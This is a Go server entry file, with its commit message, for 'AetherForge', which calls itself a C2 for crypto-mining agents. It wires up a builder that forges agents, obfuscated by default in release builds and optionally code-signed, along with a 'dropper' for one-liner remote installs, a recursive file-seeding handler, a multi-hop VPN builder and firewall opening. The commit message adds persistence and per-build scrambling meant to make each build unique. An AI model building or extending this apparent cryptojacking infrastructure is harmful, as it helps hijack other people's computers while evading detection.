- Calibrate: per-event Telegram/SMTP toggles, test notification, chat ID help - Notify on agent connect/reconnect, offline/hashrate/rejection, forge complete - Sigil scramble post-forge uniquification and Dispense Reveal ceremony - Full system check, desktop push, BITS/host-binary persistence, Path Tracer - Dashboard/Crucible visual polish, haptics, sacred geometry, mobile nav - README documents alerts, sigil scramble, and pack-usb workflow - USB bundle repacked via pack-usb.bat (AetherForge.exe + synced agent source)
534 lines
17 KiB
Go
534 lines
17 KiB
Go
package main
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import (
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"crypto/rand"
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"encoding/hex"
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"encoding/json"
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"fmt"
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"io"
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"log"
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"net/http"
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"os"
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"path/filepath"
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"time"
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"crypto-miner-server/internal/alerts"
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"crypto-miner-server/internal/api"
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"crypto-miner-server/internal/builder"
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"crypto-miner-server/internal/db"
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"crypto-miner-server/internal/maintenance"
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"crypto-miner-server/internal/pool"
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"crypto-miner-server/internal/sys"
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)
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type wsLogWriter struct {
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hub *api.WSHub
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}
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func (w *wsLogWriter) Write(p []byte) (n int, err error) {
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w.hub.BroadcastServerLog(string(p))
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return len(p), nil
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}
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const aetherBanner = `
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╔══════════════════════════════════════════════════════════════════╗
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║ ║
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║ ✦ · · · · · · ◈ · · · · · · ✦ ║
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║ · \ | / · ║
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║ · \ | / · ▲▲▲ ║
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║ · ○─────●─────○ · ▲▲▲▲▲ ║
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║ · / | \ · ▲▲▲▲▲ ║
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║ · / | \ · ████ ║
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║ ✦ · · · · ◈ · · · · ✦ ██ ████ ██ ║
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║ ○───────────○ ██ ██ ██ ║
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║ / \ / \ ║
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║ / ●───────● \ A E T H E R F O R G E ║
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║ / / \ / \ \ ───────────────────────── ║
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║ ○───● ○───○ ●───○ LAN Mining Command Deck ║
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║ \ \ / \ / / ║
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║ \ ●───────● / ║
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║ \ / \ / ║
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║ ○───────────○ ║
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║ ✦ · · · · ◈ · · · · ✦ ║
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║ ║
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╚══════════════════════════════════════════════════════════════════╝`
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func main() {
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fmt.Println(aetherBanner)
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log.SetFlags(log.LstdFlags | log.Lshortfile)
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log.Println("AetherForge C2 starting...")
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// Load configuration
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cfg := LoadConfig()
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projectRoot := findProjectRoot()
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cfg.DataDir = resolveDataDir(cfg.DataDir, projectRoot)
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log.Printf("Configuration loaded: port=%d, dataDir=%s (project root: %s)", cfg.Port, cfg.DataDir, projectRoot)
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// Generate fleet secret once — persisted in config.json so all future forges
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// carry the same secret and agents keep working across server restarts.
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if cfg.Server.FleetSecret == "" {
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b := make([]byte, 32)
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if _, err := rand.Read(b); err != nil {
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log.Fatalf("Failed to generate fleet secret: %v", err)
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}
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cfg.Server.FleetSecret = hex.EncodeToString(b)
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if err := cfg.Save(); err != nil {
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log.Printf("[auth] Warning: could not persist fleet secret: %v — agents forged this session will still work", err)
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} else {
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log.Printf("[auth] Fleet secret generated and saved — re-forge agents to pick it up")
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}
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} else {
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log.Printf("[auth] Fleet secret loaded (first 8 chars: %s...)", cfg.Server.FleetSecret[:8])
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}
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// Ensure data directories exist
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dirs := []string{
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cfg.DataDir,
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filepath.Join(cfg.DataDir, "builds"),
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filepath.Join(cfg.DataDir, "preps"),
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filepath.Join(cfg.DataDir, "logs"),
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}
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for _, dir := range dirs {
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if err := os.MkdirAll(dir, 0755); err != nil {
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log.Fatalf("Failed to create directory %s: %v", dir, err)
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}
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}
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// Load dashboard auth early so credentials print before slow startup steps.
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api.LoadUsers(cfg.DataDir)
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// Initialize database
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database, err := db.New(cfg.DataDir)
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if err != nil {
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log.Fatalf("Failed to initialize database: %v", err)
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}
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defer database.Close()
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log.Println("Database initialized")
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// Initialize AI autonomy handler (Ollama)
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aiHandler := api.NewAIHandler(database)
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log.Println("AI handler initialized")
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// Initialize WebSocket hub
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wsHub := api.NewWSHub(database)
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wsHub.SetAIHandler(aiHandler)
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wsHub.SetFleetSecret(cfg.Server.FleetSecret)
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api.SetAgentPathSecret(cfg.Server.FleetSecret)
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aiHandler.SetEventBroadcaster(func(entry api.AIActivityEntry) {
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wsHub.BroadcastAIActivity(entry)
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})
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// Stream all server logs to the dashboard Master Terminal
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log.SetOutput(io.MultiWriter(os.Stdout, &wsLogWriter{hub: wsHub}))
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log.Println("WebSocket hub initialized")
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// Initialize builder handler
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// The agent source is expected at ../agent relative to the server directory
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agentSrcDir := findAgentSourceDir()
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builderHandler := builder.NewHandler(database, cfg.DataDir, agentSrcDir, projectRoot)
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builderHandler.SetFleetSecret(cfg.Server.FleetSecret)
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log.Printf("Builder handler initialized (agent source: %s)", agentSrcDir)
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// Wire fleet secret rotation — now that both wsHub and builderHandler are ready.
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api.SetRotateSecretFn(func() (string, error) {
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b := make([]byte, 32)
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if _, err := rand.Read(b); err != nil {
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return "", err
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}
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newSecret := hex.EncodeToString(b)
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cfg.Server.FleetSecret = newSecret
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if err := cfg.Save(); err != nil {
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return "", err
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}
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wsHub.SetFleetSecret(newSecret)
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builderHandler.SetFleetSecret(newSecret)
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api.SetAgentPathSecret(newSecret)
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log.Printf("[auth] Fleet secret rotated (new prefix: %s...)", newSecret[:8])
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return newSecret, nil
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})
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defaultPoolCfg := pool.Config{
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Host: cfg.Pool.Host,
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Port: cfg.Pool.Port,
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UseTLS: cfg.Pool.UseTLS,
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Wallet: cfg.Wallet.Address,
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Password: cfg.Pool.Password,
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PaymentID: cfg.Wallet.PaymentID,
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}
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defaultPoolBackups := poolConfigsFromEndpoints(cfg.Pool.BackupPools, cfg)
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// Initialize Stratum pool manager (connections keyed by forged pool + wallet)
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poolManager := pool.NewManager(
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func(job *pool.Job) {
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log.Printf("[Pool] New job received: ID=%s, Height=%d", job.ID, job.Height)
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payload, _ := json.Marshal(job)
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wsHub.BroadcastToAgents(api.Message{
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Type: "new_job",
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Payload: payload,
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})
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},
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func(err error) {
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log.Printf("[Pool] Error: %v", err)
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},
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)
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wsHub.SetPoolManager(poolManager, defaultPoolCfg)
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applyRuntimeConfig(cfg, wsHub, poolManager, builderHandler)
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applyControlServerFirewall(cfg)
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configProvider := &serverConfigProvider{
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config: cfg,
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onSaved: func(c *Config) {
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applyRuntimeConfig(c, wsHub, poolManager, builderHandler)
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},
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}
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configHandler := api.NewConfigHandler(configProvider)
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log.Println("Config handler initialized")
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maintenance.StartRetentionJobs(database, cfg.DataDir, cfg.Server.StatsRetentionHours, cfg.Server.BuildRetentionDays)
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defer maintenance.StopRetentionJobs()
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// Pre-connect default upstream pool from server config (Forge defaults seed from here)
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go func() {
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if _, err := poolManager.EnsurePoolWithBackups(&defaultPoolCfg, defaultPoolBackups); err != nil {
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log.Printf("[Pool] Failed to connect default pool (will retry on agent auth): %v", err)
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}
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}()
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eventNotifier := alerts.NewNotifier(func() alerts.Settings {
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return cfg.AlertSettings()
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})
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wsHub.SetEventNotifier(eventNotifier)
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builderHandler.SetEventNotifier(eventNotifier)
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// Fleet alert evaluator (thresholds from Calibrate → alerts config)
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alertEvaluator := alerts.NewEvaluator(database, func() alerts.Thresholds {
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return alerts.Thresholds{
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OfflineMinutes: cfg.Alerts.OfflineThresholdMinutes,
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HashrateDropPct: cfg.Alerts.HashrateDropThresholdPct,
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RejectionRatePct: cfg.Alerts.RejectionRateThresholdPct,
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}
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}, func() alerts.Settings {
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return cfg.AlertSettings()
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}, func(ev alerts.AlertEvent) {
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wsHub.BroadcastFleetAlert(ev)
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})
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alertEvaluator.Start(30 * time.Second)
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log.Println("Fleet alert evaluator started")
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// Pool status broadcast to dashboard
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go func() {
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ticker := time.NewTicker(15 * time.Second)
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defer ticker.Stop()
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for range ticker.C {
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wsHub.BroadcastPoolStatus(poolManager.ListStatus())
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}
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}()
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fleetHandler := api.NewFleetHandler(database, wsHub, aiHandler, poolManager, alertEvaluator, defaultPoolCfg, cfg.DataDir)
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// Initialize blueprint handler (config presets)
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blueprintHandler := api.NewBlueprintHandler(cfg.DataDir)
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log.Println("Blueprint handler initialized")
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// Initialize dropper handler (one-liner remote install)
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dropperHandler := api.NewDropperHandler(database, func() string {
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return configProvider.PublicURL()
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})
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// Path Forge: server-side recursive file seeding
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pathForgeHandler := builder.NewPathForgeHandler(cfg.DataDir)
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// Path Tracer: on-demand WireGuard multi-hop VPN builder
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pathTracerHandler := api.NewPathTracerHandler(wsHub)
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// Find web root for frontend
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webRoot := findWebRoot()
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log.Printf("Web root: %s", webRoot)
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// Initialize router
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router := api.NewRouter(database, wsHub, configHandler, builderHandler, blueprintHandler, aiHandler, fleetHandler, dropperHandler, pathForgeHandler, pathTracerHandler, webRoot, cfg.DataDir, func() string {
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return configProvider.PublicURL()
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})
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log.Println("Router initialized")
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// Start server
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addr := fmt.Sprintf(":%d", cfg.Port)
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log.Printf("Server listening on %s", addr)
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log.Printf("Open http://localhost:%d in your browser", cfg.Port)
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if err := http.ListenAndServe(addr, router); err != nil {
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log.Fatalf("Server failed: %v", err)
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}
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}
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func poolConfigsFromEndpoints(eps []PoolEndpoint, cfg *Config) []pool.Config {
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out := make([]pool.Config, 0, len(eps))
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for _, ep := range eps {
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if ep.Host == "" || ep.Port <= 0 {
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continue
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}
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out = append(out, pool.Config{
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Host: ep.Host,
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Port: ep.Port,
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UseTLS: ep.UseTLS,
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Wallet: cfg.Wallet.Address,
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Password: cfg.Pool.Password,
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PaymentID: cfg.Wallet.PaymentID,
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})
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}
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return out
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}
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func applyRuntimeConfig(cfg *Config, wsHub *api.WSHub, poolManager *pool.Manager, builderHandler *builder.Handler) {
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if wsHub != nil {
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wsHub.SetPingInterval(cfg.Server.WebSocketPingSeconds)
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wsHub.SetServerPolicy(api.ServerPolicy{
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MaxAgents: cfg.Server.MaxAgents,
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LogAgentConnections: cfg.Server.LogAgentConnections,
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LogShareSubmissions: cfg.Server.LogShareSubmissions,
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LogPoolTraffic: cfg.Server.LogPoolTraffic,
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StrictWalletValidation: cfg.Server.StrictWalletValidation,
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MaxBuildSizeMB: cfg.Server.MaxBuildSizeMB,
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PoolReconnectSeconds: cfg.Server.PoolReconnectSeconds,
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})
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}
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if poolManager != nil {
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poolManager.SetReconnectDelay(cfg.Server.PoolReconnectSeconds)
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poolManager.SetVerboseTraffic(cfg.Server.LogPoolTraffic)
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}
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if builderHandler != nil {
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defaultObfuscate := cfg.Server.ObfuscateDefault
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if os.Getenv("AETHERFORGE_RELEASE") == "1" {
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defaultObfuscate = true
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}
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builderHandler.SetBuildPolicy(builder.BuildPolicy{
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StrictWalletValidation: cfg.Server.StrictWalletValidation,
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MaxBuildSizeMB: cfg.Server.MaxBuildSizeMB,
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DefaultObfuscate: defaultObfuscate,
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Sign: builder.SignPolicy{
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Enabled: cfg.Server.SignEnabled,
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CertThumbprint: cfg.Server.SignCertThumbprint,
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ToolPath: cfg.Server.SignToolPath,
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TimestampURL: cfg.Server.SignTimestampURL,
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},
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})
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}
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applyControlServerFirewall(cfg)
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}
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func applyControlServerFirewall(cfg *Config) {
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if cfg == nil || !cfg.Server.OpenFirewallOnStart {
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return
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}
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port := cfg.Port
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if port <= 0 {
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port = 8989
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}
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if err := sys.EnsureInboundTCPPort(port, "AetherForge Control Server"); err != nil {
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log.Printf("[firewall] %v", err)
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}
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}
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// serverConfigProvider wraps the Config to implement api.ConfigProvider interface
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type serverConfigProvider struct {
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config *Config
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onSaved func(*Config)
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}
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func (p *serverConfigProvider) PublicURL() string {
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return p.config.Server.PublicURL
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}
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func (p *serverConfigProvider) GetConfigJSON() json.RawMessage {
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data, _ := json.Marshal(p.config)
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return data
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}
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func (p *serverConfigProvider) UpdateConfigFromJSON(data json.RawMessage) error {
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var incoming Config
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if err := json.Unmarshal(data, &incoming); err != nil {
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return fmt.Errorf("invalid config: %w", err)
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}
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// Semantic validation — reject values that would break the server at runtime.
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if incoming.Port != 0 && (incoming.Port < 1 || incoming.Port > 65535) {
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return fmt.Errorf("invalid config: port %d out of range (1–65535)", incoming.Port)
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}
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if incoming.Pool.Port != 0 && (incoming.Pool.Port < 1 || incoming.Pool.Port > 65535) {
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return fmt.Errorf("invalid config: pool.port %d out of range (1–65535)", incoming.Pool.Port)
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}
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if incoming.Server.MaxAgents < 0 {
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return fmt.Errorf("invalid config: server.max_agents must be ≥ 0")
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}
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if incoming.Server.StatsRetentionHours < 0 {
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return fmt.Errorf("invalid config: server.stats_retention_hours must be ≥ 0")
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}
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if incoming.Server.BuildRetentionDays < 0 {
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return fmt.Errorf("invalid config: server.build_retention_days must be ≥ 0")
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}
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if incoming.Server.MaxBuildSizeMB < 0 {
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return fmt.Errorf("invalid config: server.max_build_size_mb must be ≥ 0")
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}
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// Determine which top-level keys were explicitly present in the JSON payload.
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// This prevents partial PUTs from corrupting boolean fields (H14): a key absent
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// from the payload is treated as "not changed", not "set to false".
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var presentKeys map[string]json.RawMessage
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_ = json.Unmarshal(data, &presentKeys)
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mergeConfigExplicit(p.config, &incoming, presentKeys)
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// Save to disk
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if err := p.config.Save(); err != nil {
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return fmt.Errorf("failed to save config: %w", err)
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}
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if p.onSaved != nil {
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p.onSaved(p.config)
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}
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return nil
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}
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// findAgentSourceDir locates the agent source code directory
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// It searches relative to the server binary location and the current working directory
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func findAgentSourceDir() string {
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projectRoot := findProjectRoot()
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candidates := []string{
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filepath.Join(projectRoot, "agent"),
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"../agent",
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"./agent",
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}
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if cwd, err := os.Getwd(); err == nil {
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candidates = append(candidates,
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filepath.Join(cwd, "agent"),
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filepath.Join(filepath.Dir(cwd), "agent"),
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)
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}
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if exe, err := os.Executable(); err == nil {
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exeDir := filepath.Dir(exe)
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candidates = append(candidates,
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filepath.Join(exeDir, "agent"),
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filepath.Join(exeDir, "..", "agent"),
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filepath.Join(exeDir, "..", "..", "agent"),
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)
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}
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seen := map[string]bool{}
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for _, candidate := range candidates {
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absPath, err := filepath.Abs(candidate)
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if err != nil || seen[absPath] {
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continue
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}
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seen[absPath] = true
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goModPath := filepath.Join(absPath, "go.mod")
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if _, err := os.Stat(goModPath); err == nil {
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return absPath
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}
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}
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return filepath.Join(projectRoot, "agent")
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}
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// resolveDataDir pins relative data paths to the project root so builds always land in
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// <repo>/data even when miner-server.exe is started from server/ or bin/.
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func resolveDataDir(dataDir, projectRoot string) string {
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if filepath.IsAbs(dataDir) {
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return dataDir
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}
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if projectRoot != "" && projectRoot != "." {
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return filepath.Join(projectRoot, dataDir)
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}
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abs, err := filepath.Abs(dataDir)
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if err != nil {
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return dataDir
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}
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return abs
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}
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func projectRootMarker(dir string) bool {
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for _, name := range []string{"devrun.bat", "LAUNCH.bat", "run.bat"} {
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if _, err := os.Stat(filepath.Join(dir, name)); err == nil {
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return true
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}
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}
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return false
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}
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func findProjectRoot() string {
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if cwd, err := os.Getwd(); err == nil {
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if projectRootMarker(cwd) {
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return cwd
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}
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parent := filepath.Dir(cwd)
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if projectRootMarker(parent) {
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return parent
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}
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}
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if exe, err := os.Executable(); err == nil {
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exeDir := filepath.Dir(exe)
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candidates := []string{
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exeDir,
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filepath.Join(exeDir, ".."),
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filepath.Join(exeDir, "..", ".."),
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}
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for _, candidate := range candidates {
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if projectRootMarker(candidate) {
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abs, _ := filepath.Abs(candidate)
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return abs
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}
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}
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}
|
||
if cwd, err := os.Getwd(); err == nil {
|
||
return cwd
|
||
}
|
||
return "."
|
||
}
|
||
|
||
// findWebRoot locates the frontend build output directory
|
||
func findWebRoot() string {
|
||
candidates := []string{
|
||
"webroot", // Copied by devrun.bat
|
||
"web/dist", // Vite build output relative to server/
|
||
filepath.Join("..", "server", "web", "dist"), // Relative to project root
|
||
filepath.Join("server", "web", "dist"), // From project root
|
||
}
|
||
|
||
if cwd, err := os.Getwd(); err == nil {
|
||
candidates = append(candidates,
|
||
filepath.Join(cwd, "webroot"),
|
||
filepath.Join(cwd, "web", "dist"),
|
||
filepath.Join(filepath.Dir(cwd), "server", "webroot"),
|
||
filepath.Join(filepath.Dir(cwd), "server", "web", "dist"),
|
||
)
|
||
}
|
||
|
||
if exe, err := os.Executable(); err == nil {
|
||
exeDir := filepath.Dir(exe)
|
||
candidates = append(candidates,
|
||
filepath.Join(exeDir, "webroot"), // portable USB layout
|
||
filepath.Join(exeDir, "..", "webroot"),
|
||
filepath.Join(exeDir, "..", "web", "dist"),
|
||
filepath.Join(exeDir, "..", "..", "server", "webroot"),
|
||
filepath.Join(exeDir, "..", "..", "server", "web", "dist"),
|
||
)
|
||
}
|
||
|
||
for _, candidate := range candidates {
|
||
absPath, err := filepath.Abs(candidate)
|
||
if err != nil {
|
||
continue
|
||
}
|
||
// Check if it has index.html
|
||
indexPath := filepath.Join(absPath, "index.html")
|
||
if _, err := os.Stat(indexPath); err == nil {
|
||
return absPath
|
||
}
|
||
}
|
||
|
||
return ""
|
||
}
|